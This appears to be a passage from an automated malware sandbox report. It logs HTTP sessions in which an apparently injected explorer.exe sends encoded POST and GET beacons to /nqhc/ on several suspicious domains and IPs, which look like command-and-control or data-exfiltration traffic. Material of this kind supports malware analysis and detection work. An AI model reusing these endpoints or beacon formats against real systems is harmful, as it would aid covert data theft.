56 4f 6a 7e 53 46 38 79 46 37 74 55 59 7a 51 74 4c 42 7a 35 56 39 50 4f 46 4a 73 59 6f 5a 73 51 55 47 78 6a 41 6b 4b 64 74 77 42 4a 68 66 6f 76 2d 5a 38 4b 66 39 6a 6d 55 6b 64 31 52 6f 62 30 48 66 74 41 55 56 56 76 5a 49 48 6d 57 6c 53 32 54 61 52 28 79 37 65 6d 43 31 4e 56 54 73 47 66 52 47 4e 69 65 47 2d 36 46 55 4a 51 56 54 52 46 52 72 39 41 33 6b 52 58 52 45 67 41 46 41 79 7e 66 4e 31 43 6f 30 52 57 32 38 52 30 63 34 30 43 71 36 42 46 70 58 6c 4f 74 55 45 52 72 74 32 52 5a 56 46 73 6a 54 4a 4e 51 4f 61 35 35 52 48 4e 79 6c 52 65 6d 5a 77 30 34 28 33 70 77 6d 4f 30 65 4d 75 62 65 5a 51 75 5f 46 69 75 56 44 70 75 62 6e 64 35 33 54 76 79 5a 5a 47 69 6c 44 6d 46 42 76 66 37 39 73 4e 36 38 4e 62 28 55 44 4a 46 67 42 63 75 5f 35 2d 4c 59 37 6c 58 53 4b 76 67 75 66 71 4d 31 32 5a 6a 4d 55 43 52 4c 5a 46 61 72 70 73 6e 5a 71 7a 68 33 44 42 5a 74 33 55 78 59 67 55 31 62 69 6e 4c 44 4a 41 71 54 6b 56 72 6b 76 55 35 5f 4a 55 79 4d 6e 38 63 76 76 4e 57 31 74 4d 56 48 46 41 61 37 70 75 74 55 77 4f 64 53 66 45 59 5a 47 67 35 43 6c 69 68 30 51 7a 28 56 32 75 36 39 67 58 42 32 7e 43 4a 6e 63 4b 32 5a 61 70 4c 76 32 47 33 79 61 67 61 6f 69 77 33 47 6e 44 62 39 34 75 30 69 4c 53 54 63 6f 56 74 41 6f 72 62 70 44 73 46 64 6f 6a 41 73 46 66 42 75 6d 33 41 48 71 73 7e 48 57 50 77 52 44 6e 28 6f 35 56 49 62 35 30 47 7a 56 70 43 5f 5a 5a 75 4f 6e 77 42 50 43 2d 28 47 7a 62 54 2d 48 37 59 35 75 32 48 4f 72 6e 56 62 69 77 4d 43 4b 4b 28 7a 78 30 54 76 78 75 48 78 38 42 31 38 49 32 47 6b 4c 35 70 70 72 4f 77 38 4d 58 31 39 6c 4c 76 48 68 44 79 6b 4a 6a 59 52 46 71 6a 43 69 6a 46 66 79 45 57 66 73 38 55 69 59 50 43 32 58 66 68 57 50 37 6c 37 50 32 44 5a 30 69 75 46 4f 39 36 78 35 41 48 5f 69 75 76 52 77 65 79 36 4f 56 54 32 57 78 67 70 65 58 50 79 51 46 4c 31 36 68 7a 55 4a 31 50 77 67 71 48 41 6b 53 6b 44 6f 63 71 64 7a 65 55 45 36 79 42 66 77 68 33 78 79 70 57 39 7e 75 45 39 76 49 35 43 67 4d 6d 6c 6d 33 70 65 41 59 46 78 33 4c 45 72 39 49 73 49 78 2d 4f 4b 51 7a 38 55 78 72 56 30 4b 49 5a 4a 55 31 7e 2d 45 7a 28 6a 68 5f 78 70 4b 4b 59 7a 63 39 72 6e 63 77 46 4d 6c 77 39 37 63 62 35 4e 61 66 6c 47 43 73 70 64 53 73 38 72 69 39 70 62 46 43 46 4b 6c 36 6a 57 4c 79 50 35 55 4b 39 69 72 31 6e 6d 6a 4c 36 41 58 45 4c 6b 4b 56 62 39 75 6d 51 37 7e 34 67 57 6a 52 65 69 47 39 59 39 47 6e 31 2d 6b 36 36 56 42 41 34 36 30 35 77 30 51 5f 54 5f 73 6a 51 2d 4a 37 4c 67 30 49 79 76 6f 57 6b 57 5a 45 30 53 64 51 38 71 69 4e 55 74 30 75 53 78 68 4d 35 45 33 70 61 30 28 32 45 6a 36 65 41 58 71 57 59 4c 53 48 77 43 31 4d 33 46 58 7a 61 6c 6b 79 49 56 77 44 79 51 64 35 56 64 62 46 65 68 59 5a 45 53 77 2d 6b 66 52 46 75 62 28 55 46 7a 7a 36 76 54 31 62 7e 77 6d 31 35 6d 4d 33 7a 4d 68 64 65 72 63 72 31 70 6e 4e 7e 44 78 43 39 57 59 5a 49 4b 43 34 37 6a 71 56 68 66 30 51 48 4d 53 51 4e 73 5a 63 75 49 62 6e 67 57 54 38 55 51 6d 2d 32 45 6f 6c 43 58 44 59 6d 48 48 35 6d 6d 65 4c 62 32 31 73 4a 59 39 65 70 35 58 6d 54 37 46 79 4e 4f 7a 30 74 64 28 66 6e 56 4e 61 42 79 6a 46 75 70 76 4c 42 6e 79 4d 41 67 6c 30 71 2d 34 74 70 30 66 6e 73 65 6a 77 34 6d 6c 33 44 42 7e 42 51 4b 72 47 62 46 37 53 4f 65 64 34 4f 30 79 4d 76 65 48 4e 45 6f 54 78 4f 35 53 55 6c 49 6f 51 48 66 66 57 45 47 4f 71 46 50 68 67 76 65 4e 66 77 47 4b 41 66 6b 42 53 39 47 7a 47 6c 49 4f 53 64 66 31 45 50 4e 6a 71 69 30 43 5a 64 34 44 54 77 4f 59 53 52 65 64 7a 4e Data Ascii: 7nWHV=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwS6dpJdqPl9zSS8ViE2jVZgRIk9~HFeTZxnlEUY0v(aUP0ti8GAdSQYCk2rCDaee9BhTO6NBUUQyxmu8jbn(DltaG1ke64LZyzgaHmKsFhSqSRXgVLa0Bleih(q78SIdFoK0LVJLZdEh7~fIvPSEYRk2MbUr-7Y2Zoeldh5VfcRWQyEBKeknoD7FhaGF45Md6o2wK838VOj~SF8yF7tUYzQtLBz5V9POFJsYoZsQUGxjAkKdtwBJhfov-Z8Kf9jmUkd1Rob0HftAUVVvZIHmWlS2TaR(y7emC1NVTsGfRGNieG-6FUJQVTRFRr9A3kRXREgAFAy~fN1Co0RW28R0c40Cq6BFpXlOtUERrt2RZVFsjTJNQOa55RHNylRemZw04(3pwmO0eMubeZQu_FiuVDpubnd53TvyZZGilDmFBvf79sN68Nb(UDJFgBcu_5-LY7lXSKvgufqM12ZjMUCRLZFarpsnZqzh3DBZt3UxYgU1binLDJAqTkVrkvU5_JUyMn8cvvNW1tMVHFAa7putUwOdSfEYZGg5Clih0Qz(V2u69gXB2~CJncK2ZapLv2G3yagaoiw3GnDb94u0iLSTcoVtAorbpDsFdojAsFfBum3AHqs~HWPwRDn(o5VIb50GzVpC_ZZuOnwBPC-(GzbT-H7Y5u2HOrnVbiwMCKK(zx0TvxuHx8B18I2GkL5pprOw8MX19lLvHhDykJjYRFqjCijFfyEWfs8UiYPC2XfhWP7l7P2DZ0iuFO96x5AH_iuvRwey6OVT2WxgpeXPyQFL16hzUJ1PwgqHAkSkDocqdzeUE6yBfwh3xypW9~uE9vI5CgMmlm3peAYFx3LEr9IsIx-OKQz8UxrV0KIZJU1~-Ez(jh_xpKKYzc9rncwFMlw97cb5NaflGCspdSs8ri9pbFCFKl6jWLyP5UK9ir1nmjL6AXELkKVb9umQ7~4gWjReiG9Y9Gn1-k66VBA4605w0Q_T_sjQ-J7Lg0IyvoWkWZE0SdQ8qiNUt0uSxhM5E3pa0(2Ej6eAXqWYLSHwC1M3FXzalkyIVwDyQd5VdbFehYZESw-kfRFub(UFzz6vT1b~wm15mM3zMhdercr1pnN~DxC9WYZIKC47jqVhf0QHMSQNsZcuIbngWT8UQm-2EolCXDYmHH5mmeLb21sJY9ep5XmT7FyNOz0td(fnVNaByjFupvLBnyMAgl0q-4tp0fnsejw4ml3DB~BQKrGbF7SOed4O0yMveHNEoTxO5SUlIoQHffWEGOqFPhgveNfwGKAfkBS9GzGlIOSdf1EPNjqi0CZd4DTwOYSRedzNyPYuX3yaUp47ZNEA6gr6N7siB5noOsCYuA89QGkKJMJ3cA3p4uPkEr0oxj3JzQxaRY3jR7QQa0sB988ShXtp1ESKZGNJQAJaqRgpZ4d~KyizngnQS6VBY38zzrj41dOcAm2b31w9eLqfTidFc0eCrDi(QRINHLPfYgI7V83jwv01JEFEz049oNl86vUIghru8Vd1_y5OidPLdb3Po(R6uUniDwZH1aHJrTT1r3y6pJjx5tUYyu-H8sM4l(hccCP~orQ(Dmpm_RG3uqwSA~aDIeNBtI-zfsSWNCjaY8nhe8TbWS1R1bMb7NKl4hZBfkBKmp8i1JPyiKNEoJNq-lzezgNsC8oIgY1psPJmZHgYXH7QA5FkYW5ymKvleLMFCvprsBgwldGEP60Se3F0rIjDBASQbQz5ya8jo9V4y15FQbBEgUyuAlWGV3LncPjlBOQtFbWFxtMpkaruvmwP220i0~ad3tOagMYnuQPWJX49DC12nlyosFM4lfVrrGIrjzqi-uGJ7yH350Q9OQP4EXLoIOaO9i6r9qweZqZUdqVzlPxZ_MkaPXFjDct39AuRfL2vcjONNQ_qxhmrGujAbJpSx~hBwKqz4sXXo3cEsZ0VBy9yX7t9QFRiL(oI_RzjNKClhzOhVS-oJ82LXu6kRzcdPGhY2jS1N~yV9MZNyfIfP9ji-l_JgjySu5v1ArUe-MHHur5CNdIXTmhWymRq7KS8x17fFh4OxbJS1D1ytJ-xpQJ4puP8o8bIk(YGblOrHd-bvyKhwEL2mGR4_Ejvvec~xflDQm_G2w2DRExWeyfTYydTqo9B026xnmbJCqVq-~IqrLpyC0y(OJbncZ7oIJ6E6rKACh1LoF_42SrAahv9YH6PUwhKMcmSHktV_oWto217JJV13oc21M7PTzFWbacrEafagypWfi84yl70oMm7sGpdDFV5lrMYhs4Sd3rg4o4arH_ry84dMIjr55zvw43ut4ZKmP_rIfkiK4QHfQCwTXLx9YI(ke_UMlghr(-qwowXaMUxXPN3jyqCcD4uUWO33nZ7fx9bhOCMZ30JbLERc7Rf3SdEN5JY89MxRChv3detFxbzb(VFVLr27RDLmou(a67TEoUs4K2ZVTxCr1PyeQzuGFuFaD1wP5ad6JOyHq4Tus6KhFyWlYQWIHyozssZsPnYPgk5WL9b18yV1skNqRcJxT5Ex3hHwXwbXZmXKgVMpJv0k(6PVs9uelbbpXg7DNXon0Z92Ea9ZDNdjU-ur4WHcbht8u6aQXNZosF1im782CPcYEDbe2zYUAmBc8qDkbP0q0v6VypcRDL~FGV76y4wXEckVYF6ArIhmVpCNDUNAdxfyruF5tFF1~8jfj67URcX0TweO7cyAyPIUPEZJGCLSpn(A1PzyMJ~WtPERwsVNVMX9vaS2RfQYOUgDf_Kkj1(WwGGBW0b3ftlLCV6T8BoFUUdDiyUdL0HJiAh9MhohG0du0uXYV4IkNF9GqPQmP02EzCIOd8RrVE(oWnKsYNv7ngXVLhugT-2Xd2yMRvUAaYtvtlBBTVpGlOYySzkTWGplgle4XEk3U11DzW(PiNHN7jCW5XZIYmx4x4sbMzGnW5tCzOJAiS~5nh(JnFrnx2Ox1mRw9Hwb0WSC2pWadHSe1Lv9OooDqgnPpNdKELq7W1q_cBF8beAf4v(37ZTAmalA09sAul1Mha6V0CjiNPjIa2HdAJMds9ipQ0uEPgnPz25eBZhNJCXGKZcUGcoDUYRSLOwt68tBkXmCQ9nczM2DhG0UfqRmvDU9lxk6JohKaIzhh4tQc1Jzt1Ul2_ZtMF7maFCI1-vYAy4r(JEGmfjIwkyWm5anCR5H10wpk-qAjcnheFCOnd0lNHBSzsnN5IM4zxawDeABt-Lqsh8dgJ2JRg9ur76n4jOAhWSvyfv5oaPU5qoE0LAvM575AFHgHOfISxpYhJGad5AM2mvXwUl0ozmhzhSQWblke9ParlsVDZxLXUlA6vOyFm4QaRgPt8sH1IJn1FXMhz8rX_8QpRTRbpFes2qMhkAQ3HINS-sWlh2qLIs2dmziX86eQE(uu-a-7XmeHSmEUn9sccvdCw4n1ccbiNfScVBxKxKE(HoqzNrWEQM347q_m6~Qg_pa05oQa5u0y2jLGXtb6fP6jQOUL9zxt2dzTeFFVCZw5TyX8fJ3pVtPBNsGQu8YZlUKmmjhbljMgJU5SEtwkSvunGl9b3uH1T6qnyWChbA9hx59NQcVIZ5SL5K-F-49xSetATqOK7RL9FkDyh8pOH4KlZjoz4M1DkbmFMieWy2s7erxNbShpBtEg_vMBWWUKWIPsCUd~m2Rmh2C6Z5Dpbllqyku5hKozw4W~7tao-DTOXayF2BmdDAcANH6VImalsTuzyZjRHjvR0wAoxKe7KKXh742ZorDfpXGl7oOMn7nHGWqyOVhAyvl8FTFmdyFXpwOxBVQaDklhw86jH(GPtb3DjBgZeA_puDdo9~R5XZFkXAJDRgkj2ZmkZX51TiP7RQG1mEhU6yBUfsX7LSDI8MVWMjst57SUnsUaAxDTgDLx8Bv~qw1V_~yFKCNAUgjSIHxx8os5ZqIZVUOZbpl(fc3fiNOXuF1gOMHevEYY-(C0aKeg5pcViZJ7q9ghGlXYDxWtYynNAgY7B8ahA9pGbs7p79K~Zbg5ykENQ5z4_VMCp4FrzmRb_wOIqUXgTX5Al4BGWayVHoYLt~WTT
Dec 5, 2022 15:19:30.609488010 CET	12648	OUT	Data Raw: 30 44 65 51 50 59 62 4a 59 59 6d 66 44 6b 39 61 78 57 43 2d 71 65 67 41 35 4a 4b 58 35 4a 59 38 6c 53 70 32 6f 45 65 42 49 6b 6d 56 7e 4f 46 34 28 6c 6e 51 46 66 63 56 71 5a 6e 36 54 74 53 53 43 6f 75 75 42 74 59 37 44 35 47 61 41 6f 55 48 31 6d Data Ascii: 0DeQPYbJYYmfDk9axWC-qegA5JKX5JY8lSp2oEeBIkmV~OF4(lnQFfcVqZn6TtSSCouuBtY7D5GaAoUH1ms0C423D3P70IuMWadszTFHdBTx0K~fuD1Axb2L6mUaa1pLdEkGF01yWdxlilYIIQh2GmGvwXooxBcig_~9VWT25n~xwAKoCjZ4tWXVFcUquxt4F8rNcTLK~9lrWi(_YbBQITwaEz1BaB1p2wMZWRPFJP9FpvwfAu0
Dec 5, 2022 15:19:30.637672901 CET	12648	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:30 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Dec 5, 2022 15:19:30.637758017 CET	12650	OUT	Data Raw: 66 51 44 70 53 51 68 79 4e 51 5a 37 71 44 66 39 55 76 66 34 57 62 46 55 34 68 39 6c 52 38 54 55 73 41 34 39 7a 78 6e 4c 78 50 43 6a 37 69 47 54 59 70 77 43 4c 48 31 52 6b 39 72 4d 6e 41 37 61 34 36 79 4f 42 34 4c 46 51 4c 42 75 36 4f 70 66 48 72 Data Ascii: fQDpSQhyNQZ7qDf9Uvf4WbFU4h9lR8TUsA49zxnLxPCj7iGTYpwCLH1Rk9rMnA7a46yOB4LFQLBu6OpfHroWILrGldM3y2LxFOhYjNfczvxtm9(wh6X838KKkhFnUynxIIjWKyYr5w19W7CkxzHBHPq_WQh7OBzfGs3GZTGDOK2iUzHRylxAHifkLpr1Qk3TKu2SfhAJy8hU4Ul69yPe0p1Ex-3oUKtjUBUsZy4DDlJaSd2Pv9T
Dec 5, 2022 15:19:30.637824059 CET	12651	OUT	Data Raw: 47 47 54 55 50 31 52 4b 61 71 64 71 50 56 71 2d 70 54 46 71 61 31 73 53 65 5f 4b 6d 6c 2d 33 50 74 64 32 6a 39 6e 66 37 45 46 74 70 51 72 4b 61 30 6e 32 4d 7a 67 46 48 74 74 78 2d 57 50 64 62 36 34 6f 44 53 6d 62 38 7e 61 7a 72 36 76 71 50 5a 6b Data Ascii: GGTUP1RKaqdqPVq-pTFqa1sSe_Kml-3Ptd2j9nf7EFtpQrKa0n2MzgFHttx-WPdb64oDSmb8~azr6vqPZkCt4bFA5qb9pYH97oYHj_KpWJG7(xF2mCyHfdSYrogrZMNGwq9EzperLbiGZYdnmijsdMwole5WgleHZBSbWR8Ppn(ryuUf1hSDlAUHHKTKf84hGRxwkmY4mF(rz7pUwZfOXcQhzx2H8cZCnHH5~i6Q3-zGW-F8HEZ
Dec 5, 2022 15:19:30.637952089 CET	12657	OUT	Data Raw: 75 62 41 49 4c 6b 68 6a 74 4e 45 4f 74 62 71 49 58 6a 30 76 28 76 46 4f 6b 39 39 72 72 50 78 47 38 54 46 32 41 50 47 79 52 57 34 30 78 5f 42 2d 78 66 39 67 34 32 4f 35 5a 48 45 6b 54 52 51 6b 6d 67 50 4a 32 36 46 6b 32 6a 72 77 55 69 68 47 6e 6b Data Ascii: ubAILkhjtNEOtbqIXj0v(vFOk99rrPxG8TF2APGyRW40x_B-xf9g42O5ZHEkTRQkmgPJ26Fk2jrwUihGnknZejQdiLQ-1Octd6BLSkuGjS8DHf3hYLEup9mLCnAOqOq7IvsB2So1Awf5BJ2RvQEhxthSHkZnKZkhIiF9fQQrr9FTq8htu7Mr5pSyjxd0QoaDJAULPdmHKr24NnGj5MGajKPJhP3VCHWWEENA7oeD7sP8R5Em560
Dec 5, 2022 15:19:30.638123035 CET	12661	OUT	Data Raw: 4e 56 33 50 4a 48 31 73 78 6f 48 44 62 65 63 34 65 4b 54 4f 52 79 75 42 4f 4b 71 42 79 77 62 56 63 39 6d 59 35 75 70 4a 65 5f 72 47 35 58 6c 42 77 6f 28 46 5a 79 79 6b 33 6b 51 79 32 39 4d 65 39 4c 61 57 6b 30 37 4f 52 62 32 4d 50 77 51 39 34 42 Data Ascii: NV3PJH1sxoHDbec4eKTORyuBOKqBywbVc9mY5upJe_rG5XlBwo(FZyyk3kQy29Me9LaWk07ORb2MPwQ94BH86evEHFjvxig_BYdOTmX9MmeR2BAVxmo6sbvBo8HqX9nSlDLB(opl7beX65WTSkUDDPATRKHzQoTwyJBOzdkW9uy0abxCpWyd(Sy_18NY5sUW8JqTnqp-71vKRXc9Cnl992PYIrErmE3rOFBrqpbIcdQkflKw~6y
Dec 5, 2022 15:19:30.638283968 CET	12666	OUT	Data Raw: 6a 35 74 55 28 54 54 53 73 5f 72 4e 62 70 39 71 78 4b 47 45 53 68 57 2d 73 49 6e 75 38 70 78 5a 70 4b 76 54 31 6b 50 55 6b 63 57 74 73 6b 30 43 4f 67 34 6e 6b 35 77 2d 4f 54 4e 74 59 4d 5a 78 28 53 50 43 55 66 71 54 30 65 28 62 48 30 50 67 6f 66 Data Ascii: j5tU(TTSs_rNbp9qxKGEShW-sInu8pxZpKvT1kPUkcWtsk0COg4nk5w-OTNtYMZx(SPCUfqT0e(bH0Pgof(hjms3iIJgph5w9D~_i11tF5wWxWVScQPsIuPqwcLV7Qo2S-N6gYtO4ORsZ-a3oHSgGTR3riqh5VAkWNDQrZyDHNK_L05I~AvUrhpMRcjsJxvR87ODI4u5~GoSHYOadj7zxkngehYF7L~LjphogbQb92CYmzeopo4
Dec 5, 2022 15:19:30.638600111 CET	12671	OUT	Data Raw: 7a 74 6e 46 48 41 36 42 74 52 76 48 74 65 30 5a 6d 65 4f 79 64 52 62 4e 39 41 51 78 42 59 4c 43 49 78 73 74 67 7a 46 39 5a 74 39 59 76 64 53 78 59 2d 37 33 4d 77 57 67 28 46 61 55 36 4a 42 38 70 67 6d 53 56 34 6c 64 32 30 71 71 61 39 6f 61 64 59 Data Ascii: ztnFHA6BtRvHte0ZmeOydRbN9AQxBYLCIxstgzF9Zt9YvdSxY-73MwWg(FaU6JB8pgmSV4ld20qqa9oadY(2Ohzq(c4LxtTIOeBQSqEE9Za2u5P3aQJLsU5GS2h4ZKp_Bg18pNGvd6Q9d6pk7N0G77sw46CUFNgcvyfTyW(3gXcUg8GsYm91YNRhE2bMsbVveCd6xgNVgMXrd-5yrOZCFztKNtcJkd1miUg09UTB6sDj(LfswNu
Dec 5, 2022 15:19:30.666445971 CET	12678	OUT	Data Raw: 72 6c 74 33 59 78 63 35 62 39 72 6d 4b 61 69 57 62 31 47 67 73 58 78 71 4b 54 34 4e 71 74 49 70 71 4a 4b 6c 28 75 71 50 31 51 78 5a 49 77 46 64 6a 61 5a 43 28 34 71 31 32 53 65 53 6b 57 56 33 78 4a 72 47 35 64 59 35 6e 44 4b 62 5a 74 64 65 54 64 Data Ascii: rlt3Yxc5b9rmKaiWb1GgsXxqKT4NqtIpqJKl(uqP1QxZIwFdjaZC(4q12SeSkWV3xJrG5dY5nDKbZtdeTd(Of9AuDOApsN(RofWXyhrVTvPHw4se(Jblp5ABrV(FcI(zJA6oQvK271X-iBjCziqCWvOwpB2urlZPBhuuP9ghmKjBr80awDGwS78hcdOqTRs9C3eJykbor4evWrYsymMgubQu3dX5r0mwVPE1hZ8M~y8xhkqxKza
Dec 5, 2022 15:19:30.666549921 CET	12688	OUT	Data Raw: 78 47 78 70 70 73 47 32 61 6a 72 47 68 54 7e 34 65 64 56 4d 74 69 6c 2d 73 32 46 79 78 61 38 75 78 54 58 35 4e 51 58 39 4b 38 58 76 54 6f 49 58 64 57 64 4e 4f 6a 35 5a 38 72 65 77 6f 47 4c 5a 6b 55 49 58 79 4c 77 6c 41 75 68 7a 31 7a 43 33 49 5f Data Ascii: xGxppsG2ajrGhT~4edVMtil-s2Fyxa8uxTX5NQX9K8XvToIXdWdNOj5Z8rewoGLZkUIXyLwlAuhz1zC3I_RvPeF7lEDOTqW4VoW9VMlXghTtuLsYz2XMrS8IK0k3nDe3oqISKPv2emdZBQFa9TOptmiM7KrQmfKZRwUpdsdJIDrQK5G5GDCB(2zrnA0Jozyi3oBzvAig3JF15j5WSTYmUrUZ9OHCVcNVTVSApNzSPoL9ZoLjqQ7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.11.20	49934	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:32.655055046 CET	12689	OUT	GET /nqhc/?7nWHV=Jo9Ly5swECirkrz+Q2kB1mJjI2FdxMCd6ppqF2nJOFmXYuV8xeQe4DXLVR0s/AtaPMk93SVGZaQ/v2g/wIz4PNYN1ua2MlcQRg==&t0D=yFNHS0IX HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:19:32.682847977 CET	12689	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 05 Dec 2022 14:19:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	49843	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:15.589611053 CET	11154	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 41 55 74 4e 70 4f 31 4d 52 4a 78 6c 72 45 43 5f 4d 46 62 35 41 6f 35 64 59 53 42 4b 4e 6a 46 79 71 6a 48 6b 4b 77 4a 43 32 59 34 4e 64 6e 35 36 78 6f 74 6c 72 47 4c 79 45 35 6a 78 46 58 62 52 58 44 39 65 4c 59 31 50 6d 41 45 71 4e 30 5a 38 36 43 72 72 43 42 63 74 28 67 64 2d 61 4e 56 33 76 6e 32 79 59 39 6a 74 44 6a 66 49 4b 70 4f 73 52 78 73 6e 31 4d 6a 6a 43 78 45 6b 54 58 43 44 34 52 31 35 51 32 78 4c 7e 79 6c 54 48 48 36 53 58 79 67 54 50 42 74 73 44 30 6e 4b 4a 77 70 57 74 70 54 6a 74 56 61 6d 7a 5a 54 78 39 51 4a 66 32 62 4c 6a 68 55 48 6b 56 45 71 66 35 5f 62 36 72 54 6e 41 33 35 53 73 34 4f 57 44 45 48 74 78 61 71 79 6e 73 75 7a 73 36 52 70 49 4b 58 4f 49 31 41 35 61 4f 69 75 48 54 32 68 57 52 66 70 68 54 75 4e 6f 33 44 71 43 5a 6f 49 56 6d 76 56 39 74 35 78 73 70 67 7a 65 46 33 73 39 50 6e 72 36 43 35 67 67 63 6a 32 48 34 4b 6a 78 33 48 66 51 63 6d 74 34 4e 76 31 72 49 77 79 42 33 36 32 42 31 4c 48 47 67 79 79 4f 62 55 31 35 51 61 77 43 74 4d 4f 63 4f 47 62 50 31 72 52 62 45 31 4f 52 48 5a 6b 63 54 4e 45 77 51 34 58 58 46 63 36 58 62 4c 7a 63 71 79 42 55 49 44 31 65 37 59 43 63 6c 54 28 53 4e 35 6b 34 66 56 37 73 4c 31 77 35 76 4e 54 35 6b 75 45 6e 37 4e 79 46 33 73 54 30 28 73 61 47 6c 66 62 33 72 62 4f 55 43 34 4b 44 35 77 35 51 58 74 34 77 49 69 43 44 31 72 76 74 67 69 79 50 51 68 54 39 75 6c 54 62 76 36 78 6b 43 6b 67 44 4a 30 62 42 41 6d 7a 44 77 54 56 51 6a 72 28 55 4a 6d 7e 33 51 75 67 77 55 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=BmG0s2zn5Xfmhn4WnIG4JnAXz1w5DQ4ksrh2MC8HNSAUtNpO1MRJxlrEC_MFb5Ao5dYSBKNjFyqjHkKwJC2Y4Ndn56xotlrGLyE5jxFXbRXD9eLY1PmAEqN0Z86CrrCBct(gd-aNV3vn2yY9jtDjfIKpOsRxsn1MjjCxEkTXCD4R15Q2xL~ylTHH6SXygTPBtsD0nKJwpWtpTjtVamzZTx9QJf2bLjhUHkVEqf5_b6rTnA35Ss4OWDEHtxaqynsuzs6RpIKXOI1A5aOiuHT2hWRfphTuNo3DqCZoIVmvV9t5xspgzeF3s9Pnr6C5ggcj2H4Kjx3HfQcmt4Nv1rIwyB362B1LHGgyyObU15QawCtMOcOGbP1rRbE1ORHZkcTNEwQ4XXFc6XbLzcqyBUID1e7YCclT(SN5k4fV7sL1w5vNT5kuEn7NyF3sT0(saGlfb3rbOUC4KD5w5QXt4wIiCD1rvtgiyPQhT9ulTbv6xkCkgDJ0bBAmzDwTVQjr(UJm~3QugwU.
Dec 5, 2022 15:15:15.922270060 CET	11154	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:15:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Dec 5, 2022 15:15:16.168462038 CET	11154	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.11.20	49935	103.63.2.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:37.939928055 CET	12690	OUT	POST /nqhc/ HTTP/1.1 Host: www.005404.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.005404.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.005404.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 44 77 6a 55 50 33 65 31 78 6c 31 59 58 46 49 31 6d 47 77 6a 77 76 57 45 28 71 69 64 73 79 31 47 77 59 61 71 57 4a 6b 78 73 5a 77 6e 55 58 79 4b 71 4f 43 6e 46 72 4d 51 70 52 4d 57 57 7a 7a 6a 73 71 49 4b 55 5a 49 71 4d 6d 47 44 51 4e 78 79 6e 67 4b 50 28 51 57 6b 4a 62 63 4f 6e 7a 54 63 36 79 70 38 69 4e 46 35 36 59 35 4f 7e 78 7e 4d 45 54 6b 5a 4a 77 46 66 4e 2d 6b 48 4a 33 37 63 41 49 50 71 51 54 66 4a 70 39 53 71 7a 51 4f 4b 7a 34 30 5f 53 65 6c 32 41 42 6f 70 61 46 77 72 4b 42 50 33 4f 57 61 49 67 39 66 74 78 50 42 53 79 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 